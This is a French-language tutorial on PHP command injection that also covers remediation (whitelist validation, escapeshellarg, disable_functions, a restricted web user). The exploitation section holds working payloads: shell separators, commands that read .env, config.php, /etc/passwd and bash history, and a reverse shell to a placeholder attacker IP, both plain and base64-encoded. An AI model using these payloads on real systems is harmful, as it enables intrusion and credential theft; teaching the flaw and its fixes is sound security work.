Injection de commande PHP : exécution de code système depuis un input
Quand une application PHP passe une valeur contrôlée par l’utilisateur à une fonction système sans la valider, l’attaquant peut sortir du contexte prévu et faire exécuter n’importe quelle commande par le serveur. L’accès au système de fichiers, aux variables d’environnement et au réseau interne devient possible avec les droits du processus web.
Les fonctions PHP concernées
Section titled “Les fonctions PHP concernées”Plusieurs fonctions PHP exécutent des commandes système. Toutes sont vulnérables si l’entrée utilisateur y transite sans contrôle :
| Fonction | Comportement |
|---|---|
system($cmd) | Exécute et affiche la sortie |
exec($cmd) | Exécute, retourne la dernière ligne |
shell_exec($cmd) | Exécute, retourne toute la sortie |
passthru($cmd) | Exécute, passe la sortie brute au client |
popen($cmd, "r") | Ouvre un pipe vers la commande |
`$cmd` | Backticks — alias de shell_exec() |
Code vulnérable type
Section titled “Code vulnérable type”<?php$domaine = $_GET['domaine'];$resultat = shell_exec("ping -c 1 " . $domaine);echo "<pre>" . $resultat . "</pre>";?>L’intention est de pinger un domaine fourni par l’utilisateur. En pratique, $domaine est concaténé directement dans la commande shell sans échappement.
Détecter l’injection
Section titled “Détecter l’injection”Séparateurs de commandes shell
Section titled “Séparateurs de commandes shell”Le shell interprète plusieurs caractères pour enchaîner des commandes :
| Séparateur | Comportement |
|---|---|
; | Exécute les deux commandes, indépendamment du résultat |
&& | Exécute la deuxième si la première réussit |
|| | Exécute la deuxième si la première échoue |
| | Passe la sortie de la première en entrée de la deuxième |
$() | Substitution de commande |
Tests initiaux
Section titled “Tests initiaux”# Dans l'inputexemple.fr ; lsexemple.fr && idexemple.fr | whoamiexemple.fr ; sleep 5La réponse ; ls liste le répertoire courant du processus web. ; sleep 5 provoque un délai mesurable — utile quand la sortie n’est pas affichée (injection aveugle).
# Mesurer le délai depuis l'extérieurtime curl "https://cible.fr/page.php?domaine=exemple.fr;sleep+5"Un délai de 5 secondes confirme l’exécution de la commande même sans retour visible.
Exploitation
Section titled “Exploitation”Énumération du contexte
Section titled “Énumération du contexte”# Utilisateur courant du processus web; id→ uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Répertoire de travail; pwd
# Contenu du répertoire courant; ls -la
# Variables d'environnement (clés API, mots de passe injectés); env
# Hostname et interfaces réseau; hostname && ip aLire des fichiers sensibles
Section titled “Lire des fichiers sensibles”# Configuration PHP (database credentials); cat /var/www/html/config.php
# Fichier de configuration commun; cat /var/www/html/.env
# Comptes système; cat /etc/passwd
# Historique bash de l'utilisateur www-data; cat /var/www/.bash_historyLister les fichiers PHP du projet
Section titled “Lister les fichiers PHP du projet”; find /var/www -name "*.php" -type f 2>/dev/null; grep -r "password\|db_pass\|DB_PASS" /var/www/ 2>/dev/nullReverse shell
Section titled “Reverse shell”Si le serveur a accès au réseau sortant, établir un shell interactif :
# Depuis l'input (remplacer IP et PORT); bash -c 'bash -i >& /dev/tcp/IP_ATTAQUANT/PORT 0>&1'
# Encodé en base64 pour éviter les caractères spéciaux bloqués; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDAmPjE=" | base64 -d | bashÉcouter sur la machine attaquante avant d’envoyer la payload :
nc -lvnp PORTRemédiation
Section titled “Remédiation”Ne jamais passer de données utilisateur à une fonction système
Section titled “Ne jamais passer de données utilisateur à une fonction système”La première protection est architecturale : si une fonctionnalité peut être implémentée sans appel système, l’implémenter ainsi.
// Vulnérable$resultat = shell_exec("ping -c 1 " . $_GET['domaine']);
// Correct — utiliser une bibliothèque PHP native$ip = gethostbyname($_GET['domaine']);Valider l’entrée par liste blanche
Section titled “Valider l’entrée par liste blanche”Si l’appel système est inévitable, valider l’entrée contre un format attendu avant de la passer à la commande :
$domaine = $_GET['domaine'];
// Valider le format domaine (lettres, chiffres, tirets, points)if (!preg_match('/^[a-zA-Z0-9\-\.]+$/', $domaine)) { http_response_code(400); exit('Domaine invalide');}
$resultat = shell_exec("ping -c 1 " . escapeshellarg($domaine));Échapper avec escapeshellarg() et escapeshellcmd()
Section titled “Échapper avec escapeshellarg() et escapeshellcmd()”// escapeshellarg() — entoure l'argument de guillemets simples et échappe les guillemets internes// empêche l'injection de séparateurs de commandes$arg = escapeshellarg($_GET['domaine']);$resultat = shell_exec("ping -c 1 " . $arg);
// escapeshellcmd() — échappe les métacaractères shell dans une commande entière// moins sûr qu'escapeshellarg() car laisse passer certains caractères$cmd = escapeshellcmd("ping -c 1 " . $_GET['domaine']);$resultat = shell_exec($cmd);
escapeshellarg()est plus restrictif qu’escapeshellcmd()et doit être préféré pour protéger des arguments individuels.
Désactiver les fonctions dangereuses dans php.ini
Section titled “Désactiver les fonctions dangereuses dans php.ini”Si l’application n’a aucun besoin d’exécuter des commandes système, désactiver les fonctions concernées au niveau de la configuration PHP :
; /etc/php/8.x/fpm/php.inidisable_functions = system, exec, shell_exec, passthru, popen, proc_open, pcntl_execVérifier que la configuration est prise en compte :
php -r "echo system('id');"# PHP Warning: system() has been disabled for security reasonsFaire tourner le processus web avec un utilisateur restreint
Section titled “Faire tourner le processus web avec un utilisateur restreint”L’injection de commande s’exécute avec les droits du processus web. Limiter ces droits réduit l’impact :
# Vérifier l'utilisateur courant du worker PHP-FPMps aux | grep php-fpm
# Configurer un pool PHP-FPM avec un utilisateur dédié# /etc/php/8.x/fpm/pool.d/www.confuser = www-datagroup = www-datawww-data ne doit pas avoir accès en lecture aux fichiers de configuration en dehors de la racine web, ni en écriture sur le système de fichiers sauf les répertoires explicitement nécessaires (uploads, cache).
À retenir
Section titled “À retenir”La concaténation directe d’une entrée utilisateur dans une commande shell est une injection. escapeshellarg() réduit la surface d’attaque mais ne remplace pas une validation d’entrée par liste blanche. La combinaison — validation du format, échappement, et disable_functions — constitue une défense en profondeur. Le test le plus rapide pour détecter la faille reste ;sleep 5 : un délai de réponse confirme l’exécution sans nécessiter d’affichage.